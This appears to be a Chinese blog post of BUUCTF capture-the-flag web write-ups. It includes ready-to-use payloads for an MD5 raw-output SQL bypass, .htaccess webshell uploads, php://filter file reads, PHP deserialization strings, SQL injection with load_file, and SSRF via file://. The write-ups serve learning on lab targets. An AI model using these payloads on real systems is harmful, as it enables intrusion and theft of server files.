每周小题(buuctf)

 [BJDCTF2020]Easy MD5

 


在“提交查询”处提交1,在url处得到一个password变量,抓包,也可以看响应头

需要password=md5($pass,true)条件为真时,才会执行select * form 'admin'

   md5语法

                  md5(string,raw)

        

参数

描述

string

必需。要计算的字符串。

raw

可选。

  • 默认不写为FALSE。32位16进制的字符串
  • TRUE。16位原始二进制格式的字符串

content: ffifdyop

hex: 276f722736c95d99e921722cf9ed621c

raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

string: 'or'6]!r,b

这里需要注意的是,当raw项为true时,返回的这个原始二进制不是普通的二进制(0,1),而是 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c 这种。 上面的’ffifdyop‘字符串对应的16位原始二进制的字符串就是” 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c “ 。 ' \ '后面的3个字符连同' \ '算一个字符,比如’ \xc9 ‘,所以上述一共16个。当然,像’ \xc9 ‘这种字符会显示乱码。 

 

这里32位的16进制的字符串,两个一组就是上面的16位二进制的字符串。比如27,这是16进制的,先要转化为10进制的,就是39,39在ASC码表里面就是’    '    ‘字符。6f就是对应‘    o    ’。

然后我们得到的sql语句就是 SELECT * FROM admin WHERE username = 'admin' and password = ''or'6�]��!r,��b'

为什么password = ''or'6�]��!r,��b'的返回值会是true呢,因为or后面的单引号里面的字符串(6�]��!r,��b),是数字开头的。当然不能以0开头。(我不知道在数据库里面查询的时候,�这种会不会显示)

在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。

当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)

输入 ffifdyop,得到

 查看源代码

可以看出条件是要求两者不相等但md5值需要相当,我们知道md5是哈希算法的一种,因此此时我们就想到了用0e这种方法来进行绕过,因此我们就需要找出几个字符串,让它进行md5加密后为0e这种的,下面几个字符串经md5加密后为0e格式

aabg7XSs

aabC9RqS

s878926199a

QNKCDZO

240610708

?a[]=1&b[]=2或

?a=aabg7XSs&&b=aabC9RqS

强比较指的是===,此时不仅检测值,而且检测是否为同一类型,因此就无法用上面的方法来进行绕过了,这里绕过的话需要用到数组,我们知道php中md5函数要求的我们放在里面的应该是string类型的,那这里我们放入一个数组的话,它既不会报错,也不会解析它的值,这时候两者都报出了相同的错误,那是不是就构成了相等,我们的数组在echo时输出都为array,经过md5加密后全为null,因此可以进行绕过

param1[]=1¶m2[]=2

[MRCTF2020]你传你🐎呢

先上传一句话木马,抓包,发现被过滤掉了

随便修改一下文件后缀,判断是白名单还是黑名单绕过,然后点发送

还是被过滤掉了,接着修改一下MIME信息,判断是不是有MIME过滤,将请求头的Content-Type内容改为

image/png

上传成功了,确认是黑名单过滤文件后缀跟MIME,还回显了路径

服务器是不会把jpg当作php脚本来解析的,需要有别的文件辅助,目前我学到的是有两种方法:1.上传.user.ini文件,此前提是上传目录中已有php文件。2.上传.htaccess文件。

文件上传绕过的方法有很多, 试了一下发现能用.htaccess解析漏洞,我们先创建一个文件,文件名为.htaccess,内容为

AddType application/x-httpd-php .png

代码的意思就是,将当前目录下文件名为abc的文件当成php来解析

上传该文件,抓包修改一下MIME信息

上传成功,接着我们再上传一个png文件,内容为一句话木马

参考:

BUUCTF之你传你马呢 [MRCTF2020]_buuctf 你传尼马-CSDN博客

[ZJCTF 2019]NiZhuanSiWei

<?php

$text = $_GET["text"];

$file = $_GET["file"];

$password = $_GET["password"];

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){

echo "

".file_get_contents($text,'r')."

";

if(preg_match("/flag/",$file)){

echo "Not now!";

exit();

}else{

include($file); //useless.php

$password = unserialize($password);

echo $password;

}

}

else{

highlight_file(__FILE__);

}

?>

第一层绕过:

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

要求我们传入一个text文件,内容为welcome to the zjctf

可以用php://input伪协议以POST传参'welcome to the zjctf '(需要抓包)

也可以将文件内容通过data伪协议写进去,然后让file_get_contents()函数进行读取,payload如下

?text=data://text/plain,welcome to the zjctf或?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=(一般是需要进行base64编码,本题没有过滤welcome to the zjctf)

第二层绕过:

if(preg_match("/flag/",$file)){
    echo "Not now!";
    exit(); 
}else{
    include($file);  //useless.php
    $password = unserialize($password);
    echo $password;
}

正则过滤掉flag,而题目又提示了useless.php,所以用php://filter协议来读取useless.php,payload如下:

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

第三层绕过:

将base64编码进行解码得到:

class Flag{ //flag.php

public $file;

public function __tostring(){

if(isset($this->file)){

echo file_get_contents($this->file);

echo "
";

return ("U R SO CLOSE !///COME ON PLZ");

}

}

}

?>

在本地进行序列化操作,

<?php

class Flag{  //flag.php
    public $file="flag.php";
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}
$a=new Flag();
echo serialize($a);
?>

得到


 

payload:
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

 查看源码得到flag

 [网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

is_valid()函数对传入的字符串进行判断,确保每一个字符ASCII码值都在32-125,即该函数的作用是确保参数字符串的每一个字符都是可打印的,才返回true。

PHP访问修饰符

public 公共的 任何成员都可以访问

private 私有的 只有自己可以访问

绕过方式:%00类名%00成员名

protected 保护的 只有当前类的成员与继承该类的类才能访问 绕过方式:%00%00成员名

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

is_valid()函数对传入的字符串进行判断,确保每一个字符ASCII码值都在32-125,即该函数的作用是确保参数字符串的每一个字符都是可打印的,才返回true。

利用ord函数 返回 “s” 的 ASCII值, s为字符串类型, s为16进制字符串数据类型。

绕过方式%00转换为\00即可绕过

if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
    $obj = unserialize($str);
}

该段代码首先通过get方法获得字符串str,若str中没有不可打印的字符串后,对字符串执行反序列化操作。因此我们再看一遍FileHandler类中的内容。

可以看到构析函数中,op使用强类型比较===判断this->op的值是否等于字符串2,如果等于,则将其置为1。之后执行process()方法。

在process()方法中,则使用弱类型比较==判断op的值是否对等于字符串2,若为真,则执行read()方法与output()方法。而read方法中,使用file_get_contents()函数来读取属性filename路径的文件。

于是我们发现,若想读取flag,需要绕过process()方法的判断,防止op被置一。于是可以传入一个数字2,绕过process()方法的判断。

(我们可以从file_get_contents()这个函数入手,想要绕过它,可以使用php://filter协议,找调用这个函数所在的方法,然后是找谁又调用了这个方法,往前找,找到后比较这些方法有社么想同之处,再在类属性上修改)

第一种解法 突破protected访问修饰符限制

<?php
class FileHandler
{

    protected $op = 2;
    protected $filename = 'php://filter/read=convert.base64-encode/resource=flag.php';
    protected $content;
}
$a=serialize(new FileHandler());
echo($a);
?>

序列化结果:

O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"*content";N;}

删除乱码( * )并减去相应长度

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

构造payload

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

然后base64解码,得到flag。

第二种解法 突破ord函数限制

序列化代码

<?php
  class FileHandler {
  protected $op = 2;
  protected $filename ='flag.php';         
 //题目中包含flag的文件
protected $content;

}
$bai = urlencode(serialize(new FileHandler)); 
//URL编码实例化后的类FileHandler序列化结果
$mao =str_replace('%00',"\\00",$bai);    
//str_replace函数查找变量bai里面的数值%00并将其替换为\\00
$mao =str_replace('s','S',$mao);         
//str_replace函数查找变量mao里面的数值s并将其替换为S
echo $mao                                               
//打印结果
?>

 

序列化结果

O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BN%3B%7D

构造payload

?str=O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BN%3B%7D

查看源码,得到flag

[GXYCTF2019]BabyUpload 

上传含有一句话木马的php文件,抓包,后缀名ph被过滤

随意更改后缀名

 

更改Content-Type的内容为image/png

 

不行,再将Content-Type的内容更改为image/jpeg

 

发现绕过了“上传类型也太露骨了吧!”

再对一句话木马进行测试是否过滤,发现过滤了

 

这里的PHP版本为:

PHP/5.6.23,可以使用

绕过

上传一个

.htaccess文件将别的后缀名文件内容解析为php程序(文件名绕过),内容为

AddType application/x-httpd-php .png

随意上传一个png文件,内容为,并更改Content-Type的内容更改为image/jpeg

连接蚁剑在url中输入http://6c7bd541-7c54-42d9-83e9-51f2af5d6d16.node5.buuoj.cn:81upload/ac69fce11356714ebafeef3d4ea28b29/shell.png

 

查看根目录

 

得到flag

 

参考:

BUUCTF:[GXYCTF2019]BabyUpload_上传类型也太露骨了吧!-CSDN博客

[极客大挑战 2019]HardSQL

[RoarCTF 2019]Easy Java

做这道题前,我们先来看一下这道题所涉及的知识点。

servlet访问URL映射配置:

    由于客户端是通过URL地址访问Web服务器中的资源,所以Servlet程序若想被外界访问,必须把Servlet程序映射到一个URL地址上,这个工作在web.xml文件中使用元素和元素完成。元素用于注册Servlet,它包含有两个主要的子元素:和,分别用于设置Servlet的注册名称和Servlet的完整类名。一个元素用于映射一个已注册的Servlet的一个对外访问路径,它包含有两个子元素:和,分别用于指定Servlet的注册名称和Servlet的对外访问路径。例如: 

<servlet>

      <servlet-name>ServletDemo1</servlet-name>

      <servlet-class>cn.itcast.ServletDemo1</servlet-class>

</servlet>

<servlet-mapping>

      <servlet-name>ServletDemo1</servlet-name>

      <url-pattern>/ServletDemo1</url-pattern>

</servlet-mapping>

解题思路:

打开网页发现是登陆界面,有一个链接help。点击发现无内容,但是从url看出是包含,可能存在文件包含漏洞

 

尝试使用post提交,发现下载下了文件,但是打开没什么东西

源码泄露:

但是filename这个点可以进行文件包含,我们就可以尝试是否可以访问WEB-INF/web.xml。可以下载WEB-INF_web.xml这个文件

WEB-INF_web.xml文件内容:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<welcome-file-list>
    <welcome-file>Index</welcome-file>
</welcome-file-list>

<servlet>
    <servlet-name>IndexController</servlet-name>
    <servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>IndexController</servlet-name>
    <url-pattern>/Index</url-pattern>
</servlet-mapping>

<servlet>
    <servlet-name>LoginController</servlet-name>
    <servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>LoginController</servlet-name>
    <url-pattern>/Login</url-pattern>
</servlet-mapping>

<servlet>
    <servlet-name>DownloadController</servlet-name>
    <servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>DownloadController</servlet-name>
    <url-pattern>/Download</url-pattern>
</servlet-mapping>

<servlet>
    <servlet-name>FlagController</servlet-name>
    <servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>FlagController</servlet-name>
    <url-pattern>/Flag</url-pattern>
</servlet-mapping>

</web-app>

文件包含:

通过url访问Servlet的方式是:

找到对应文件名,然后通过这个文件名找到对应的servlet,再通过这个servlet的文件名,获取到其具体的servlet文件。因为这个是类中的文件,所以后缀要加.class

<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>

post,get传参:

Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class

抓包

参考:

https://www.cnblogs.com/karsa/p/13130130.html

[网鼎杯 2018]Fakebook

直接dirsearch扫描,扫描出robots.txt

 

得到user.php.bak这个文件,可以进行下载,下载好之后,重命名成user.php,得到php文件

 

从网上可以看到访问

/user.php.bak 下载了一个文件,去除后缀名.bak得到user.php,源码泄露。

文件内容:

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();// 初始化,获得一个cURL句柄
      // 设置URL和相应的选项
        curl_setopt($ch, CURLOPT_URL, $url); // 请求URL
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//返回数据流,而不直接输出
        $output = curl_exec($ch);// 抓取URL并把它传递给浏览器
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);// 关闭cURL资源,并且释放系统资源

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

 

有一个UserInfo的类,类中有三个公共的类变量:name,age,blog。一个构造方法,一个get方法。主要的工作应该是建立会话,

然后判断是否是有效的请求,如果不是则返回404,如果是则返回url的内容,一个getBlogContents方法,返回一个url的内容。

还有一个isValidBlog验证这是否是一个有效的blog地址。

get方法中,curl_exec()如果使用不当就会导致ssrf漏洞。

我们在dirsearch上扫描到了flag.php。猜测flag.php可能处于内网,

如果用ssrf访问flag.php,可以用伪协议file://var/www/html/flag.php访问。

我们先回到首页,点join注册一个账号

点击username下面的链接

 

view.php?no = 1 and 1=1  //回显正常

view.php?no = 1 and 1=2  //错误回显

view.php?no=1 //没有报错

view.php?no=1' //报错

是数字型注入,于是我们可以查看表中的列数

view.php?no=1 order by 4 //没有报错

view.php?no=1 order by 5 //报错,有4列

我们尝试union联合注入:

view.php?no = -1 union select 1,2,3,4 //报错

view.php?no=-1 union/**/select 1,2,3,4 //过滤了(union select)用/**/代替空格 ,可以爆出回显位,回显位是username尝试之后,发现no这个地方可以注入

解决方法一:

还发现了错误信息,/var/www/html/view.php刚才扫目录得知flag.php也在这个目录中。

然后我们开始查数据库和数据库信息

view.php?no=-1 union/**/select 1,database(),3,4--+ //数据库名

 view.php?no=-1 union/**/select 1,user(),3,4--+    //数据库信息

发现居然是root权限,有一个load_file()函数可以利用绝对路径去加载一个文件,于是我们利用一下

load_file(file_name):file_name是一个完整的路径,于是我们直接用var/www/html/flag.php路径去访问一下这个文件

view.php?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+

查看源码,得到flag

解决方法二:

爆表名:

view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+

爆列名:

view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'--+

 

爆破信息:

view.php?no=-1 union/**/select 1,group_concat(no,username,passwd,data ),3,4 from users--+

 

是个序列化后的UserInfo对象,这和我们最开始得到的user.php.bak文件有关系了。

我们对这个序列化后的内容稍作改动

O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:23;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

根据之前的注入可知,有回显的是第二位,也就是username字段,

data对应应该就是第四个字段,将反序列化字符串尝试以注入的方式写入

构造payload:

view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:23;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

查看源码

 

mysql在不同版本读取文件方法大致有这3个:

1.load_file()

2.load data infile()

3.system cat

 

  • 33
    点赞
  • 54
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值